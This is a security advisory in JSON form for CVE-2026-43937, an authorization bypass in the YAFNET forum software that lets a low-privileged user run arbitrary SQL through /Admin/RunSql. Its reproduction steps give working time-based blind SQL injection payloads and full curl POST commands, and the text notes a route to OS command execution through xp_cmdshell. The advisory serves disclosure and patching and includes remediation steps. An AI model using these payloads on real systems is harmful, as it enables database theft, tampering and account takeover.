CVE-2026-43937: YAFNET Pre-Handler Authorization Bypass On Admin Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xhw7-j96h-c3g5",
  "modified" : "2026-05-13T16:24:24Z",
  "published" : "2026-05-05T20:32:27Z",
  "aliases" : [ "CVE-2026-43937" ],
  "summary" : "YAFNET: Pre-Handler Authorization Bypass on Admin Pages Enables Blind SQL Execution via `/Admin/RunSql`",
  "details" : "**Issue Details:**\nYAFNET's only admin authorization gate is `PageSecurityCheckAttribute`, implemented as a `ResultFilterAttribute` that runs *after* the page handler completes rather than before it. No other gate exists. Any admin `OnPost…` handler therefore executes its side effects before the filter rewrites the response to a `302` to `/Info/4`. The most impactful abuse is `/Admin/RunSql`, whose `OnPostRunQuery` binds `Editor` from the POST body and passes it straight to `IDbAccess.RunSql` with no caller check, yielding arbitrary SQL execution for any low-privileged user.\n\nA deterministic boolean-conditional time oracle was confirmed end-to-end by extracting the first character of `@@VERSION`: `IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5'` produced a ~5-second delay (confirming the byte is `M`), while `IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5'` returned immediately.\n\n\n**Impact:**\nAn attacker holding the lowest-privileged authenticated role, effectively an anonymous attacker on any deployment that permits self-registration, gains arbitrary blind SQL execution against the application's database, with full `INSERT`/`UPDATE`/`DELETE` access to every table including the Identity store (`AspNetUsers`, `yaf_User`, `yaf_UserRole`). This yields full loss of Confidentiality (any column extractable via the time oracle), full loss of Integrity (blind writes to identity, posts, and forum configuration, including self-promotion to HostAdmin), and full loss of Availability (`DELETE`/`DROP`/`WAITFOR`-driven DoS). The impact escalates out of the application's trust domain: if the underlying SQL Server instance has `xp_cmdshell` or CLR integration enabled (common in development and test builds), the same primitive yields OS-level command execution on the database host. Because the bypass is class-wide, every other admin handler is also callable, multiplying the blast radius across user management, XML imports, and file-writing configuration pages.\n\n**Likelihood:**\nExploitation requires only a registered forum account (self-registration available on most deployments) and a single HTTP POST request. The attack is fully automatable in one request per probe and produces a deterministic time-based oracle with no error handling required, making the overall likelihood very high.\n\n**Steps to Reproduce:**\n- Register or log in to the forum as any low-privileged user.\n- Acquire the standard `__RequestVerificationToken` token from any rendered page and the cookies. \n- Use the following CURL command:\nPayload: ```IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5'``` (77 is the character **M**)\nURL Encoded Payload: ```%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27```\n\n```\ncurl.exe --path-as-is -i -s -k -X POST `\n  -H 'Host: yetanotherforum.internal:8080' `\n  -H 'User-Agent: curl/8.18.0' `\n  -H 'Accept: */*' `\n  -H 'Content-Type: application/x-www-form-urlencoded' `\n  -H 'Content-Length: 428' `\n  -H 'Connection: keep-alive' `\n  -b '<Replace with Cookies>' `\n  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `\n  -w '\\n----\\nDNS:        %{time_namelookup}s\\nConnect:    %{time_connect}s\\nTTFB:       %{time_starttransfer}s\\nTotal time: %{time_total}s\\nHTTP code:  %{http_code}\\n' `\n  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'\n```\n<img width=\"1619\" height=\"921\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1c5d4d96-a69a-47eb-9558-e5fe1e6cc9e4\" />\n\nPayload: ```IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5'``` (76 is the character **L**)\nURL Encoded Payload: ```%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27```\n\n```\ncurl.exe --path-as-is -i -s -k -X POST `\n  -H 'Host: yetanotherforum.internal:8080' `\n  -H 'User-Agent: curl/8.18.0' `\n  -H 'Accept: */*' `\n  -H 'Content-Type: application/x-www-form-urlencoded' `\n  -H 'Content-Length: 428' `\n  -H 'Connection: keep-alive' `\n  -b '<Replace with Cookies>' `\n  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `\n  -w '\\n----\\nDNS:        %{time_namelookup}s\\nConnect:    %{time_connect}s\\nTTFB:       %{time_starttransfer}s\\nTotal time: %{time_total}s\\nHTTP code:  %{http_code}\\n' `\n  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'\n```\n\n<img width=\"1616\" height=\"928\" alt=\"image\" src=\"https://github.com/user-attachments/assets/e499da2e-d4d1-41cd-a5da-e709bf60f817\" />\n\nObserve that when the condition is true the response time increases, if false, it remains unchanged which confirms the presence of SQL Injection.\n\n**Remediation:**\n- Convert `PageSecurityCheckAttribute` from a `ResultFilterAttribute` to an `IAsyncPageFilter` so the admin check runs in `OnPageHandlerExecutionAsync` and short-circuits with `AccessDenied()` before any handler side effects occur.\n- Layer an ASP.NET Core authorization policy as defense-in-depth: `AddAuthorization(... AddPolicy(\"YafAdmin\", ...))` combined with `AuthorizeFolder(\"/Admin\", \"YafAdmin\")` in the Razor Pages conventions.\n- Restrict `/Admin/RunSql` to `HostAdmin` only and wrap `IDbAccess.RunSql` in a statement-type allow-list that rejects non-read-only SQL, even for legitimate admins.\n- Audit and fix any other authorization logic implemented in `ResultFilterAttribute` / `OnResultExecuting(Async)`, they share the same lifecycle bug.\n- Add regression tests that invoke each admin `OnPost…` handler as a non-admin and assert no database or filesystem side effects occur.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "NuGet",
      "name" : "YAFNET.Core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.0.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.0.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/YAFNET/YAFNET/security/advisories/GHSA-xhw7-j96h-c3g5"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-43937"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/YAFNET/YAFNET/commit/27f7e671f93698f7e014d5d0fb88320248b8aa20"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/YAFNET/YAFNET"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/YAFNET/YAFNET/releases/tag/v4.0.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-841", "CWE-89" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-05T20:32:27Z",
    "nvd_published_at" : "2026-05-12T15:16:15Z"
  }
}